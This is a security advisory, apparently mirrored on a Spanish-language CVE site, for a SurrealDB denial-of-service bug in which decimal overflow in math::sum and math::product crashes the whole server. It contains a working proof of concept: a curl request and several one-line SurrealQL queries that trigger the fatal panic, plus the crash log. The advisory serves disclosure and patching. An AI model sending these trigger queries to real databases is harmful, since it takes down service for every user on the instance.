GHSA-G422-FJ9R-M92G
Server crash (DoS) via decimal overflow in math::sum / math::product
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G422-FJ9R-M92G divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 4.0.0 | surrealdb · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An uncaught arithmetic overflow in the `math::sum` and `math::product` aggregate functions lets any user who can run a single query terminate the entire SurrealDB server process. When the running total of a `decimal` accumulation exceeds the `decimal` range, the worker thread panics inside `rust_decimal` instead of returning an error, and the process exits (status 133). Every connection, database and namespace on the instance goes down with it. No special privileges, no large dataset, and no stored data are required — the overflowing values can be literals in the query. Confirmed on `3.2.4` and `3.1.2`.
Details
`math::sum` and `math::product` accumulate their arguments using unchecked `decimal` arithmetic. When an intermediate result exceeds the `decimal` maximum (`79228162514264337593543950335`), the addition panics rather than returning a `Result::Err`, and the panic aborts the SurrealDB worker thread, which terminates the whole server process.
The engine already has a correct, recoverable path for exactly this condition:
- The `+` and `*` operators on the same operands return a normal query error (`Cannot perform addition with '...' and '...'`).
- `math::mean`, which also sums internally, returns that same error rather than panicking.
So only the `math::sum` / `math::product` accumulation escalates an out-of-range decimal to a process-killing panic. The fix is to have these functions use the same checked arithmetic the operators and `math::mean` already use.
Source pointer for the maintainer:
The chain, with line numbers from `main` at commit `18971ffba` (the 3.1.x / 3.2.x release tags differ by a few lines but the structure is identical):
- `surrealdb/core/src/fnc/math.rs:218` — `math::sum`:
- `surrealdb/core/src/val/number.rs:1160` — `impl Sum for Number` folds with the plain operator:
- `surrealdb/core/src/val/number.rs:1034` — `impl ops::Add for Number`, whose decimal arm is unchecked:
PoC
Start a server with the in-memory backend (any 3.1.x / 3.2.x build):
surreal start --user root --pass root memorySend a single statement over the HTTP `/sql` endpoint:
curl -s -u root:root \
-H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
-X POST --data 'RETURN math::sum([40000000000000000000000000000dec, 40000000000000000000000000000dec]);' \
http://localhost:8000/sqlThe connection is dropped with no query result. The server log shows:
thread 'surrealdb-worker' (8) panicked at .../rust_decimal-1.42.0/src/arithmetic_impls.rs:161:18:
Addition overflowedand the process exits with status 133. Any subsequent request to the same server fails
(the process is gone).
Equivalent triggers, all fatal:
RETURN math::sum([79228162514264337593543950335dec, 1dec]); -- decimal max + 1
RETURN math::sum([79228162514264337593543950335dec, 1]); -- mixed int addend
RETURN math::sum([-40000000000000000000000000000dec, -40000000000000000000000000000dec]);
RETURN math::product([40000000000000000000000000000dec, 2dec]);Reachable through ordinary aggregation, so a routine reporting query over a table holding
large decimals is an accidental trigger:
CREATE t:1 SET v = 40000000000000000000000000000dec;
CREATE t:2 SET v = 40000000000000000000000000000dec;
SELECT math::sum(v) AS s FROM t GROUP ALL; -- server exitsFor contrast, the recoverable path that already exists on the identical operands:
RETURN 40000000000000000000000000000dec + 40000000000000000000000000000dec;
-- ERR: "Cannot perform addition with '4000...' and '4000...'" (server stays up)
RETURN math::sum([40000000000000000000000000000dec, 30000000000000000000000000000dec]);
-- "70000000000000000000000000000" (in-range sum works)Verified on `surrealdb/surrealdb:v3.1.2` and `3.2.4+20260803.93ab219` (Docker, `memory` backend): the container exits with code 133 (`OOMKilled=false`) and the server stops answering.
Impact
- Type: Denial of service — uncaught panic terminating the process (CWE-248, with CWE-190 integer overflow as the root condition).
- Who is impacted: every user of an affected instance. The crash is not scoped to the offending session; the whole process exits, so all connections, databases and namespaces on that server lose service.
- Who can trigger it: any user permitted to run a query. It needs no schema rights and no stored data and because `GROUP ALL` aggregation reaches the same code, an ordinary aggregate over user-influenced `decimal` data triggers it unintentionally.
Patches
A patch has been created that folds `math::sum` and `math::product` with checked arithmetic, so a decimal overflow raises a query error instead of crashing the server.
- Version 4.0.0 and later are not affected by this issue.
References
- SurrealQL Documentation — Math functions
https://surrealdb.com/docs/surrealql/functions/database/math - `fix(math): sum and mean integers exactly instead of wrapping or rounding` (commit `942c2bd2b4`)
- `fix(math,seq): integer overflow is an error in math folds and sequence allocation` (commit `b8f92e17f2`)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iosurrealdb |
Corregida | 4.0.0 | 0 d | 4.0.1 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/surrealdb/surrealdb/security/advisories/GHSA-g422-fj9r-m92gLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
